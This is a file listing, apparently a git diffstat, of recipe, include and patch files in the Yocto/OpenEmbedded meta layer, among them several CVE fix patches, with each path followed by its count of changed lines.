-rw-r--r--meta/recipes-devtools/rpm/rpm_4.14.2.1.bb153
-rw-r--r--meta/recipes-devtools/rpm/rpm_4.17.0.bb208
-rw-r--r--meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch31
-rw-r--r--meta/recipes-devtools/rsync/files/CVE-2016-9840.patch75
-rw-r--r--meta/recipes-devtools/rsync/files/CVE-2016-9841.patch228
-rw-r--r--meta/recipes-devtools/rsync/files/CVE-2016-9842.patch33
-rw-r--r--meta/recipes-devtools/rsync/files/CVE-2016-9843.patch53
-rw-r--r--meta/recipes-devtools/rsync/files/determism.patch34
-rw-r--r--meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch29
-rw-r--r--meta/recipes-devtools/rsync/rsync_3.1.3.bb54
-rw-r--r--meta/recipes-devtools/rsync/rsync_3.2.3.bb61
-rw-r--r--meta/recipes-devtools/ruby/ruby.inc21
-rw-r--r--meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch32
-rw-r--r--meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch34
-rw-r--r--meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch22
-rw-r--r--meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch42
-rw-r--r--meta/recipes-devtools/ruby/ruby/0003-configure.ac-check-finite-isinf-isnan-as-macros-firs.patch103
-rw-r--r--meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch35
-rw-r--r--meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch28
-rw-r--r--meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch31
-rw-r--r--meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch81
-rw-r--r--meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch35
-rw-r--r--meta/recipes-devtools/ruby/ruby_2.6.5.bb77
-rw-r--r--meta/recipes-devtools/ruby/ruby_3.1.1.bb107
-rwxr-xr-xmeta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts10
-rw-r--r--meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service2
-rw-r--r--meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb9
-rw-r--r--meta/recipes-devtools/rust/README-rust.md58
-rw-r--r--meta/recipes-devtools/rust/libstd-rs.inc40
-rw-r--r--meta/recipes-devtools/rust/libstd-rs/0001-Add-400-series-syscalls-to-musl-riscv64-definitions.patch44
-rw-r--r--meta/recipes-devtools/rust/libstd-rs/0001-Update-checksums-for-modified-vendored-libc.patch23
-rw-r--r--meta/recipes-devtools/rust/libstd-rs_1.59.0.bb12
-rw-r--r--meta/recipes-devtools/rust/rust-common.inc371
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian-common.inc55
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian.inc78
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian_1.59.0.bb6
-rw-r--r--meta/recipes-devtools/rust/rust-cross.inc66
-rw-r--r--meta/recipes-devtools/rust/rust-cross_1.59.0.bb8
-rw-r--r--meta/recipes-devtools/rust/rust-crosssdk_1.59.0.bb8
-rw-r--r--meta/recipes-devtools/rust/rust-llvm.inc70
-rw-r--r--meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch31
-rw-r--r--meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch33
-rw-r--r--meta/recipes-devtools/rust/rust-llvm_1.59.0.bb6
-rw-r--r--meta/recipes-devtools/rust/rust-snapshot.inc29
-rw-r--r--meta/recipes-devtools/rust/rust-source.inc7
-rw-r--r--meta/recipes-devtools/rust/rust-target.inc10
-rw-r--r--meta/recipes-devtools/rust/rust-tools-cross-canadian.inc38
-rw-r--r--meta/recipes-devtools/rust/rust-tools-cross-canadian_1.59.0.bb6
-rw-r--r--meta/recipes-devtools/rust/rust.inc202
-rw-r--r--meta/recipes-devtools/rust/rust_1.59.0.bb21
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch34
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch135
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch108
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch326
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch329
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb30
-rw-r--r--meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch2
-rw-r--r--meta/recipes-devtools/strace/strace/0001-strace-fix-reproducibilty-issues.patch39
-rw-r--r--meta/recipes-devtools/strace/strace/0001-tests-sigaction-Check-for-mips-and-alpha-before-usin.patch32
-rw-r--r--meta/recipes-devtools/strace/strace/Makefile-ptest.patch25
-rw-r--r--meta/recipes-devtools/strace/strace/disable-git-version-gen.patch37
-rw-r--r--meta/recipes-devtools/strace/strace/mips-SIGEMT.patch33
-rw-r--r--meta/recipes-devtools/strace/strace/more-robust-test-for-m32-mx32-compile-support.patch45
-rw-r--r--meta/recipes-devtools/strace/strace/ptest-spacesave.patch17
-rwxr-xr-xmeta/recipes-devtools/strace/strace/run-ptest16
-rw-r--r--meta/recipes-devtools/strace/strace/skip-load.patch55
-rw-r--r--meta/recipes-devtools/strace/strace/uintptr_t.patch17
-rw-r--r--meta/recipes-devtools/strace/strace/update-gawk-paths.patch44
-rw-r--r--meta/recipes-devtools/strace/strace_5.16.bb54
-rw-r--r--meta/recipes-devtools/strace/strace_5.3.bb57
-rw-r--r--meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch29
-rw-r--r--meta/recipes-devtools/subversion/subversion_1.12.2.bb61
-rw-r--r--meta/recipes-devtools/subversion/subversion_1.14.1.bb62
-rw-r--r--meta/recipes-devtools/swig/swig.inc10
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch330
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch179
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch13
-rw-r--r--meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch9
-rw-r--r--meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch191
-rw-r--r--meta/recipes-devtools/swig/swig/determinism.patch17
-rw-r--r--meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch36
-rw-r--r--meta/recipes-devtools/swig/swig_3.0.12.bb12
-rw-r--r--meta/recipes-devtools/swig/swig_4.0.2.bb7
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch2
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch97
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/determinism.patch22
-rw-r--r--meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb126
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch45
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/mips64.patch35
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch19
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb37
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb44
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch17
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch6
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent_git.bb32
-rw-r--r--meta/recipes-devtools/tcltk/tcl/alter-includedir.patch56
-rw-r--r--meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch4
-rw-r--r--meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch4
-rw-r--r--meta/recipes-devtools/tcltk/tcl/interp.patch32
-rw-r--r--meta/recipes-devtools/tcltk/tcl/no_packages.patch53
-rw-r--r--meta/recipes-devtools/tcltk/tcl/run-ptest8
-rw-r--r--meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch22
-rw-r--r--meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch33
-rw-r--r--meta/recipes-devtools/tcltk/tcl_8.6.11.bb103
-rw-r--r--meta/recipes-devtools/tcltk/tcl_8.6.9.bb101
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch14
-rw-r--r--meta/recipes-devtools/unfs3/unfs3_git.bb12
-rw-r--r--meta/recipes-devtools/unifdef/unifdef_2.11.bb19
-rw-r--r--meta/recipes-devtools/unifdef/unifdef_2.12.bb21
-rw-r--r--meta/recipes-devtools/vala/vala.inc20
-rw-r--r--meta/recipes-devtools/vala/vala/0001-git-version-gen-don-t-append-dirty-if-we-re-not-in-g.patch55
-rw-r--r--meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch38
-rw-r--r--meta/recipes-devtools/vala/vala_0.46.3.bb8
-rw-r--r--meta/recipes-devtools/vala/vala_0.54.7.bb3
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-Implement-linux-rseq-syscall-as-ENOSYS.patch198
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch51
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch40
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch36
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-memcheck-tests-Fix-timerfd-syscall-test.patch98
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch42
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch34
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch20
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch50
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0002-valgrind-adjust-std_list-expected-output.patch32
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch102
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0004-pth_atfork1.c-Define-error-API-for-musl.patch37
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch11
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch12
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0006-pth_detached3.c-Dereference-pthread_t-before-adding-.patch32
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch20
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/remove-for-aarch6411
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/remove-for-all8
-rwxr-xr-xmeta/recipes-devtools/valgrind/valgrind/run-ptest44
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch35
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind_3.15.0.bb206
-rw-r--r--meta/recipes-devtools/valgrind/valgrind_3.18.1.bb255
-rw-r--r--meta/recipes-devtools/xmlto/xmlto_0.0.28.bb17
-rw-r--r--meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch24
-rw-r--r--meta/recipes-example/rust-hello-world/rust-hello-world_git.bb19
-rw-r--r--meta/recipes-extended/acpica/acpica_20190816.bb49
-rw-r--r--meta/recipes-extended/acpica/acpica_20211217.bb51
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch53
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_10.1.4.bb28
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb32
-rw-r--r--meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch23
-rw-r--r--meta/recipes-extended/at/at/file_replacement_with_gplv2.patch8
-rw-r--r--meta/recipes-extended/at/at/fix_parallel_build_error.patch40
-rw-r--r--meta/recipes-extended/at/at/makefile-fix-parallel.patch8
-rw-r--r--meta/recipes-extended/at/at_3.1.23.bb78
-rw-r--r--meta/recipes-extended/at/at_3.2.5.bb74
-rw-r--r--meta/recipes-extended/bash/bash.inc55
-rw-r--r--meta/recipes-extended/bash/bash/build-tests.patch16
-rw-r--r--meta/recipes-extended/bash/bash/makerace.patch52
-rw-r--r--meta/recipes-extended/bash/bash/makerace2.patch98
-rw-r--r--meta/recipes-extended/bash/bash/use_aclocal.patch59
-rw-r--r--meta/recipes-extended/bash/bash_5.0.bb45
-rw-r--r--meta/recipes-extended/bash/bash_5.1.16.bb25
-rw-r--r--meta/recipes-extended/bc/bc_1.07.1.bb7
-rw-r--r--meta/recipes-extended/blktool/blktool_4-7.1.bb2
-rw-r--r--meta/recipes-extended/bzip2/bzip2/Makefile.am3
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.8.bb43
-rw-r--r--meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb44
-rw-r--r--meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch33
-rw-r--r--meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb71
-rw-r--r--meta/recipes-extended/cpio/cpio-2.12/0001-CVE-2016-2037-1-byte-out-of-bounds-write.patch346
-rw-r--r--meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch178
-rw-r--r--meta/recipes-extended/cpio/cpio-2.12/0001-Fix-segfault-with-append.patch51
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch (renamed from meta/recipes-extended/cpio/cpio-2.12/0001-Unset-need_charset_alias-when-building-for-musl.patch)0
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch28
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch581
-rw-r--r--meta/recipes-extended/cpio/cpio_2.12.bb51
-rw-r--r--meta/recipes-extended/cpio/cpio_2.13.bb55
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch105
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch14
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch12
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.5.bb29
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.7.bb33
-rw-r--r--meta/recipes-extended/cronie/cronie_1.5.4.bb83
-rw-r--r--meta/recipes-extended/cronie/cronie_1.5.7.bb83
-rw-r--r--meta/recipes-extended/cups/cups.inc96
-rw-r--r--meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch70
-rw-r--r--meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch27
-rw-r--r--meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch31
-rw-r--r--meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch33
-rw-r--r--meta/recipes-extended/cups/cups/cups-avoid-install-file-conflicts.patch21
-rw-r--r--meta/recipes-extended/cups/cups/cups-volatiles.conf1
-rw-r--r--meta/recipes-extended/cups/cups/cups_serverbin.patch38
-rw-r--r--meta/recipes-extended/cups/cups/libexecdir.patch35
-rw-r--r--meta/recipes-extended/cups/cups/use_echo_only_in_init.patch15
-rw-r--r--meta/recipes-extended/cups/cups/volatiles.99_cups2
-rw-r--r--meta/recipes-extended/cups/cups_2.2.12.bb6
-rw-r--r--meta/recipes-extended/cups/cups_2.4.1.bb5
-rw-r--r--meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb5
-rw-r--r--meta/recipes-extended/diffutils/diffutils.inc2
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.7.bb40
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.8.bb43
-rw-r--r--meta/recipes-extended/ed/ed_1.15.bb38
-rw-r--r--meta/recipes-extended/ed/ed_1.18.bb38
-rw-r--r--meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch10
-rw-r--r--meta/recipes-extended/ethtool/ethtool_5.16.bb37
-rw-r--r--meta/recipes-extended/ethtool/ethtool_5.3.bb33
-rw-r--r--meta/recipes-extended/findutils/findutils.inc8
-rw-r--r--meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch31
-rw-r--r--meta/recipes-extended/findutils/findutils/0001-find-make-delete-honour-the-ignore_readdir_race-opti.patch144
-rw-r--r--meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-fflush.patch140
-rw-r--r--meta/recipes-extended/findutils/findutils/findutils-4.6.0-gnulib-makedev.patch78
-rw-r--r--meta/recipes-extended/findutils/findutils/run-ptest57
-rw-r--r--meta/recipes-extended/findutils/findutils_4.6.0.bb21
-rw-r--r--meta/recipes-extended/findutils/findutils_4.9.0.bb26
-rw-r--r--meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch23
-rw-r--r--meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch23
-rw-r--r--meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb44
-rw-r--r--meta/recipes-extended/gawk/gawk/remove-sensitive-tests.patch24
-rw-r--r--meta/recipes-extended/gawk/gawk_5.0.1.bb53
-rw-r--r--meta/recipes-extended/gawk/gawk_5.1.1.bb64
-rw-r--r--meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch37
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14811-0001.patch68
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0001.patch270
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2019-14817-0002.patch236
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/aarch64/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/arm/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/armeb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.02-genarch.patch38
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch24
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/i586/objarch.h41
l---------meta/recipes-extended/ghostscript/ghostscript/i6861
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/microblazeeb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h40
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.27.bb131
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb129
-rw-r--r--meta/recipes-extended/go-examples/go-helloworld_0.1.bb10
-rw-r--r--meta/recipes-extended/gperf/gperf_3.1.bb2
-rw-r--r--meta/recipes-extended/grep/grep_3.3.bb45
-rw-r--r--meta/recipes-extended/grep/grep_3.7.bb46
-rw-r--r--meta/recipes-extended/groff/files/0001-Include-config.h.patch1032
-rw-r--r--meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch27
-rw-r--r--meta/recipes-extended/groff/groff_1.22.4.bb27
-rw-r--r--meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch (renamed from meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch)0
-rw-r--r--meta/recipes-extended/gzip/gzip.inc9
-rw-r--r--meta/recipes-extended/gzip/gzip_1.10.bb40
-rw-r--r--meta/recipes-extended/gzip/gzip_1.11.bb41
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.58.bb43
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.63.bb43
-rw-r--r--meta/recipes-extended/images/core-image-kernel-dev.bb2
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller-initramfs.bb24
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller.bb18
-rw-r--r--meta/recipes-extended/images/core-image-testmaster-initramfs.bb23
-rw-r--r--meta/recipes-extended/images/core-image-testmaster.bb18
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-Makefile.am-do-not-install-etc-ethertypes.patch40
-rw-r--r--meta/recipes-extended/iptables/iptables/ip6tables.rules0
-rw-r--r--meta/recipes-extended/iptables/iptables/ip6tables.service13
-rw-r--r--meta/recipes-extended/iptables/iptables/iptables.service6
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.3.bb86
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.7.bb111
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch27
-rw-r--r--meta/recipes-extended/iputils/iputils_20211215.bb66
-rw-r--r--meta/recipes-extended/iputils/iputils_s20190709.bb55
-rw-r--r--meta/recipes-extended/less/less_551.bb43
-rw-r--r--meta/recipes-extended/less/less_600.bb42
-rw-r--r--meta/recipes-extended/libaio/libaio/destdir.patch17
-rw-r--r--meta/recipes-extended/libaio/libaio/system-linkage.patch18
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.111.bb23
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.112.bb22
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.4.0.bb67
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.6.0.bb67
-rw-r--r--meta/recipes-extended/libidn/libidn/0001-idn-format-security-warnings.patch181
-rw-r--r--meta/recipes-extended/libidn/libidn/avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch34
-rw-r--r--meta/recipes-extended/libidn/libidn/dont-depend-on-help2man.patch23
-rw-r--r--meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch35
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.2.0.bb31
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.2.bb31
-rw-r--r--meta/recipes-extended/libidn/libidn_1.35.bb42
-rw-r--r--meta/recipes-extended/libmnl/libmnl_1.0.4.bb6
-rw-r--r--meta/recipes-extended/libnsl/libnsl2_git.bb8
-rw-r--r--meta/recipes-extended/libnss-nis/libnss-nis.bb6
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.1.bb15
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.5.bb14
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch34
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.21.bb33
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.6.bb31
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/musl.patch30
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.1.4.bb28
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb25
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch42
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.54.bb83
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.64.bb79
-rw-r--r--meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch150
-rw-r--r--meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch38
-rw-r--r--meta/recipes-extended/logrotate/logrotate/update-the-manual.patch38
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.15.1.bb99
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.19.0.bb91
-rw-r--r--meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release_1.4.bb10
-rw-r--r--meta/recipes-extended/lsof/files/lsof-remove-host-information.patch17
-rw-r--r--meta/recipes-extended/lsof/lsof_4.91.bb63
-rw-r--r--meta/recipes-extended/lsof/lsof_4.94.0.bb46
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Add-configure-time-check-for-getdents-getdents64-API.patch72
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch35
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch149
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-cve-2017-17052-Avoid-unsafe-exits-in-threads.patch64
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-cve-meltdown.c-Fix-kernel-symbol-finding.patch81
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch28
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-overcommit_memory-update-for-mm-fix-false-positive-O.patch57
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-syscall-rt_sigtimedwait01-Fix-wrong-sigset-length-fo.patch46
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-syscalls-tgkill03-wait-for-defunct-tid-to-get-detach.patch75
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-testcases-use-python3-everywhere-to-run-python-scrip.patch161
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-ustat02-Fix-EFAULT-in-32bit-compatibility-mode.patch36
-rw-r--r--meta/recipes-extended/ltp/ltp/0002-check-for-RES_USE_INET6-during-configure.patch68
-rw-r--r--meta/recipes-extended/ltp/ltp/0002-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch47
-rw-r--r--meta/recipes-extended/ltp/ltp/0003-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch58
-rw-r--r--meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch34
-rw-r--r--meta/recipes-extended/ltp/ltp/0006-rt_tgsigqueueinfo-disable-test-on-musl.patch35
-rw-r--r--meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0008-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch41
-rw-r--r--meta/recipes-extended/ltp/ltp/0009-open_posix_testsuite-mmap24-2-Relax-condition-a-bit.patch68
-rw-r--r--meta/recipes-extended/ltp/ltp/0010-shmctl01-don-t-use-hardcoded-index-0-for-SHM_STAT-te.patch82
-rw-r--r--meta/recipes-extended/ltp/ltp/0011-direct_io-diotest4-drop-MAP_FIXED.patch56
-rw-r--r--meta/recipes-extended/ltp/ltp/0012-getrlimit03-adjust-a-bit-of-code-to-compatiable-with.patch64
-rw-r--r--meta/recipes-extended/ltp/ltp/disable_hanging_tests.patch27
-rw-r--r--meta/recipes-extended/ltp/ltp_20190517.bb123
-rw-r--r--meta/recipes-extended/ltp/ltp_20220121.bb138
-rw-r--r--meta/recipes-extended/lzip/lzip_1.21.bb41
-rw-r--r--meta/recipes-extended/lzip/lzip_1.23.bb42
-rw-r--r--meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch39
-rw-r--r--meta/recipes-extended/man-db/man-db_2.10.1.bb68
-rw-r--r--meta/recipes-extended/man-db/man-db_2.8.7.bb59
-rw-r--r--meta/recipes-extended/man-pages/man-pages_5.01.bb37
